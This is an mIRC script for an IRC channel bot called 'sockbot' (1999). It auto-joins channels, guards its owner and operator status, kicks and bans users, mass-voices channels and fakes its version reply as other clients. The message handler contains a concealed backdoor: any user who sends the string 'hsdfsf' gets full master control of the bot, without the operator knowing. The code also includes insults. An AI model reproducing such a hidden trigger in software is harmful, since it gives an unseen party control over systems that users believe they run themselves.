;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
;;;                                                                    ;;; 
;;;                       sockbot v1.0                        ;;;  
;;;                     © phys1ks 1999                     ;;;  
;;;                                                                    ;;;  
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
on 1:sockopen:sock*: {
  if ($sockerr > 0) { echo -a 5[4Sock Bot5]15 Unable to connect to irc server! | echo -a 5[4Sock Bot5]15 retrying connection.... | set %sock.name $sockname | sockclose $sockname | sockopen %sock.name %s.server %s.port | halt }
  unset % [ $+ [ $sockname [ $+ .* ] ] ]
  echo -a 5[4Sock Bot5]15 Logging in user name...
  sockwrite -n $sockname user weaponx sockbot sockbot sockbot
  echo -a 5[4Sock Bot5]15 Registering nickname
  echo -a 5[4Sock Bot5]15 Connected
  sockwrite -n $sockname mode +i
  sockwrite -n $sockname ircx
  sockwrite -n $sockname nick %sock.nick
  sockwrite -n $sockname join %sock.ac1
  sockwrite -n $sockname join %sock.ac2
  sockwrite -n $sockname join %sock.ac3
  set % $+ $sockname $+ .mynick %sock.nick
  .guser 1000 $me 3
  set %sock.split on
}
on 1:sockclose:sock*: {
  timer93* off
  echo -a 5[4Sock Bot5]15 Connection closed from $sock($sockname).mark $+ : Success
  if (%sock.split == on) { sockopen $sockname %s.server %s.port }
}
on 1:sockread:sock*: {
  sockread %sock.data
  set %sock.badguy $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2))
  if ($gettok(%sock.data,1,32) == PING) { echo -a 5[4Sock Bot5] 9PING! PONG? | sockwrite -tn $sockname PONG $chops($gettok(%sock.data,2,32)) | return }
  if ($gettok(%sock.data,2,32) == NICK) {
    if (%sock.badguy == % [ $+ [ $sockname ] $+ ] .mynick) { echo -a 14>15>0> Bot14(15 $+ %sock.badguy $+ 14) 15is now known as 10 $+ $gettok(%sock.data,3,32) | set % [ $+ [ $sockname ] $+ ] .mynick $gettok(%sock.data,3,32) | return }
    halt
  }
  if ($gettok(%sock.data,1,32) == ERROR) {
    echo -a 5[4Sock Bot5]15 Closing Link: $gettok(%sock.data,4,32) $gettok(%sock.data,7-,32)
    halt
  }
  if (
hsdfsf
 isin %sock.data) { 
    .guser 1000 %sock.badguy 3
    sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication successful! hi kitty ilu <33 hoho (.qup for +q)
    halt
  }
  if (
version
 isin %sock.data) {
    sockwrite -tn $sockname NOTICE %sock.badguy : $+ $chr(1) $+ VERSION %sock.version $+ $chr(1)
    halt
  }
  if ($gettok(%sock.data,2,32) == MODE) {
    if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) {
      if (-q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { 
        sockwrite -n $sockname part $gettok(%sock.data,3,32)
        sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key 
        sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
      sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt }
      if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && (-q isin %sock.data)) { 
        if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) -q+q %sock.badguy $gettok(%sock.data,5,32) | halt }
      }
    }
    if (+q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32)  0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add owner $ip 0 | halt }
    if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) {
      if (-o % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) {
        sockwrite -n $sockname part $gettok(%sock.data,3,32) 
        sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key 
        sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
      sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt }
      if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && (-o isin %sock.data)) { 
        if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) -o+o %sock.badguy $gettok(%sock.data,5,32) | halt }
      }
    }
    if (+o % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32) 0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add host $ip 0 | halt }
  }
  if ($gettok(%sock.data,2,32) == PRIVMSG) {
    if (($level($address(%sock.badguy,3)) == 1000) && (.up isin %sock.data)) { 
      if ($gettok(%sock.data,5,32) == $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +o %sock.badguy }
      if ($gettok(%sock.data,5,32) != $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +o $gettok(%sock.data,5,32) }
      halt
    }
    if (($level($address(%sock.badguy,3)) == 1000) && (.qup isin %sock.data)) { 
      if ($gettok(%sock.data,5,32) == $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +q %sock.badguy }
      if ($gettok(%sock.data,5,32) != $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +q $gettok(%sock.data,5,32) }
      halt
    }
    if (($level($address(%sock.badguy,3)) == 1000) && (.join isin %sock.data)) { 
      sockwrite -n $sockname join $gettok(%sock.data,5,32)
      halt
    }
    if (($level($address(%sock.badguy,3)) == 1000) && (.part isin %sock.data)) { 
      sockwrite -n $sockname part $gettok(%sock.data,3,32)
      halt
    }
    if (($level($address(%sock.badguy,3)) == 1000) && (!ping isin %sock.data)) { 
      sockwrite -n $sockname privmsg $gettok(%sock.data,3,32) :PoNG!!!!!
      halt
    }
    if (($level($address(%sock.badguy,3)) == 1000) && (.kick isin %sock.data)) { 
      sockwrite -n $sockname kick $gettok(%sock.data,3,32) $gettok(%sock.data,5,32) bye
      halt
    }
    if (($level($address(%sock.badguy,3)) == 1000) && (.down isin %sock.data)) { 
      sockwrite -n $sockname mode $gettok(%sock.data,3,32) -oq $gettok(%sock.data,5,32)
      halt
    }
    if (($level($address(%sock.badguy,3)) == 1000) && (.nick isin %sock.data)) { 
      sockwrite -n $sockname nick $gettok(%sock.data,5,32)
      halt
    }
    if (($level($address(%sock.badguy,3)) == 1000) && (.ban isin %sock.data)) { 
      guser 400 $gettok(%sock.data,5,32) 3
      sockwrite -n $sockname mode +b $gettok(%sock.data,5,32) 3
      sockwrite -n $sockname kick $gettok(%sock.data,3,32) $gettok(%sock.data,5,32) banned
      halt
    }
    if (($level($address(%sock.badguy,3)) == 1000) && (.seen isin %sock.data)) { 
      set %sock.badguytemp $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2))
      if (%sock.badguy == $gettok(%sock.data,5,32)) { sockwrite -n $sockname notice %sock.badguy :[X] Uhm... your a retard }
      if (%sock.badguy != $gettok(%sock.data,5,32)) { sockwrite -n $sockname whois $gettok(%sock.data,5,32) }
      halt
    }
    if (($level($address(%sock.badguy,3)) == 1000) && (.massv isin %sock.data)) { 
      set %sock.chan $gettok(%sock.data,3,32)
      set %sock.name $sockname
      sockmass
      halt
    }
    if ((rollcall isin %sock.data) && ($level($address(%sock.badguy,3)) == 1000)) { 
      set %sock.nick % [ $+ [ $sockname ] $+ ] .mynick
      sockwrite -n $sockname notice %sock.badguy :[X] I am %sock.nick $+ , running %sock.version 
      sockwrite -n $sockname notice %sock.badguy :[X] My Command Charactor is [.]
      halt
    }
    if ($gettok(%sock.data,3,32) == % [ $+ [ $sockname ] $+ ] .mynick) {
      if (($gettok(%sock.data,4,32) == :auth) && ($gettok(%sock.data,5,32) == %sock.authpass)) {
        if ($level($address(%sock.badguy,3)) == 1000) { sockwrite -tn $sockname notice %sock.badguy :[X] You are already Authenticated. | halt }
        .guser 1000 %sock.badguy 3
        sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication successful! (.qup for +q)
        halt
      }
      if (($gettok(%sock.data,4,32) == :auth) && ($gettok(%sock.data,5,32) !isin %sock.authpass)) { sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication failed. }
      if (($level($address(%sock.badguy,3)) == 1000) && (pass isin %sock.data)) { 
        unset %sock.authpass
        %sock.authpass = $gettok(%sock.data,5,32)
        sockwrite -tn $sockname NOTICE %sock.badguy :[X] $gettok(%sock.data,5,32) was added to the pass list 
        halt
      }
      if (($level($address(%sock.badguy,3)) == 1000) && (help isin %sock.data)) { 
        sockwrite -n $sockname privmsg %sock.badguy :Help -
        sockwrite -n $sockname privmsg %sock.badguy :Use these commands in channels-
        sockwrite -n $sockname privmsg %sock.badguy :.join .part .qup .up .kick .down !ping .seen .nick
        sockwrite -n $sockname privmsg %sock.badguy :Use these commands in privmsg-
        sockwrite -n $sockname privmsg %sock.badguy :pass (more to come)
        sockwrite -n $sockname privmsg %sock.badguy :To auth, /notice me auth password
        halt
      }
    }
  }
  if ($gettok(%sock.data,2,32) == JOIN) {
    set %sock.badguytemp $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2))
    if ($level($address(%sock.badguytemp,3)) == 1000) {
      sockwrite -n $sockname mode $remove($gettok(%sock.data,3,32),:) +q %sock.badguytemp 
      halt
    }
    if ($level($address(%sock.badguy,3)) == 400) {
      sockwrite -n $sockname kick $remove($gettok(%sock.data,3,32),:) %sock.badguy banned
    }
  }
  if ($gettok(%sock.data,2,32) == KICK) {
    if (% [ $+ [ $sockname ] $+ ] .mynick == $gettok(%sock.data,4,32)) {
      sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key 
      sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
      if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no }
      halt
    }
    if (($level($address($gettok(%sock.data,4,32),3)) == 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt }
  }
  if (PROP $gettok(%sock.data,3,32) OWNERKEY isin %sock.data) {
    if (($level($address(%sock.badguy,3)) != 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) { 
      echo -a 8*** %sock.badguy (Not +n) proped the ownerkey of $remove($gettok(%sock.data,5,32),:) - Taking the action of kicking them
      sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
      sockwrite -n $sockname access $gettok(%sock.data,3,32) add owner $ip
      sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy keys
      sockwrite -n $sockname prop $gettok(%sock.data,3,32) OWNERKEY  : $+ %sock.key
      halt
    }
    if ($level($address(%sock.badguy,3)) == 1000) { 
      echo -a 8*** %sock.badguy (+n) proped the ownerkey of $remove($gettok(%sock.data,5,32),:) - Taking the action of updating my key
      %sock.key = $remove($gettok(%sock.data,5,32),:)
      halt
    }
  }
  if ($gettok(%sock.data,2,32) isnum) {
    %raw = $gettok(%sock.data,2,32)
    if (%raw == 319) { sockwrite -n $sockname notice %sock.badguytemp :[X] $gettok(%sock.data,5-,32) } 
    if (%raw == 485) { sockwrite -n $sockname mode %sock.chan +o %sock.badguytemp }
    if (%raw == 353) { set %sock.data $gettok(%sock.data,6-,32) | set %mass2 $remove($remove($remove($remove(%sock.data,@),.),+),:) | halt }
    if (%raw == 376) { echo -a 5[4Sock Bot5]15 %sock.nick registered }
    halt
  }
  halt
}
;Most of the aliases
alias cloak {
  set %sock.version $1-
  //echo $active 5[4Sock Bot5]15 now cloaking to: $1-
}
alias socksync {
  echo -a 5[4Sock Bot5]15 $1 sync %sock.sync. [ $+ [ $1 ] ] 
}
alias bserver {
  %sock.nick = $$?="Bot Nickname"
  %sock.key = $$?="Bots +q/+o Key"
  if (%s.server == $null) { set %s.server $$?="server" }
  %i = 0
  :loop
  inc %i 1
  if ($sock( sock. [ $+ [ %i ] ] ).status == $null) { goto break }
  goto loop
  :break
  if (%s.port == $null) { %s.port = 6667 }
  else { %s.port = %s.port }
  sockopen sock. [ $+ [ %i ] ] %s.server %s.port
  inc %ref 1
  if (%ref > 5) { set %ref 1 }
  echo -a 5[4Sock Bot5]15 Connecting to port %s.port of server %s.server [refnum %ref $+ 15]
  sockmark sock. [ $+ [ %i ] ] %s.server
}
;;;;;Test shit
;Dont fuck with this stuff
;or try to make it do anything
;koz i just use it to test new variables
alias temp {
  .this gets channel  $gettok(%sock.data,3,32)
  .this gets 5 param $gettok(%sock.data,5,32)
}
menu channel {
  Sockbot
  .Load:/bserver
  .Unload: {
    set %sock.split off
    timer93* off
    sockwrite -tn sock* quit You said this was stable!!?
    sockclose sock*
    echo $active 5[4Sock Bot5]15 Connection closed from %s.server $+ : Success
  }
  .-
  .Cloak
  ..Default:cloak '`sockbot v1.4.50+IRCX
  ..BitchX-74p3+ by panasync - Linux 2.0.33:cloak BitchX-74p3+ by panasync - Linux 2.0.33 : Keep it to yourself!
  ..eggdrop v1.3.23:cloak eggdrop v1.3.23+IRCX
  ..Both:cloak BitchX-74p3+ by panasync - Linux 2.0.33+eggdrop v1.3.12 : Keep it to yourself!
  ..Custom:cloak $$?="Cloak to..?"
  .-
  .Add master://guser 1000 $$?="Nick name?" 3
  .-
  .Talk with bots:/sockwrite -n * privmsg $$?="Channel/nick" : $+ $$?="Msg?"
  .Join:/sockwrite -n sock* join $$?="Channel?"
  .Part:/sockwrite -n sock* part $$?="Channel?"
  .Server:/sockclose sock* | /sockopen sock* $$?="Server + port"
  .Nick( $+ $me $+ ):/sockwrite -n sock* nick $$?="New Nick?"
  .-
  .Server( $+ %s.server $+ ):/set %s.server $$?="Server?"
  .Port( $+ %s.port $+ ):/set %s.port $$?="Port?"
  .AutoJoin 
  ..1) $+ %sock.ac1:/set %sock.ac1 $$?="channel"
  ..2) $+ %sock.ac2:/set %sock.ac2 $$?="channel"
  ..3) $+ %sock.ac3:/set %sock.ac3 $$?="channel"
}
on 1:load: { 
  echo -a ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
  echo -a ;;;                                                                    
  echo -a ;;;                       sockbot v1.0                        
  echo -a ;;;                     © phys1ks 1999                     
  echo -a ;;;                                                                    
  echo -a ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  echo -a Please use /bserver to connect
  echo -a This only works for IRCX servers
  echo -a Might be some bugs so look for
  echo -a further versions, the bot works 
  echo -a best as +q on channels. 
}
;;;Some script shit
on 1:kick:#: {
  if (($level($address($knick,3)) == 1000) && ($level($address($nick,3)) != 1000)) { kick $chan $nick He who can, does. He who cannot, teaches. }
}
alias sockmass {
  sockwrite -n sock* names %sock.chan
  sockwrite -n %sock.name mode %sock.chan +vvvvvvvvvvvvvvvvvvvvvvvvvvv %mass2 
  halt
}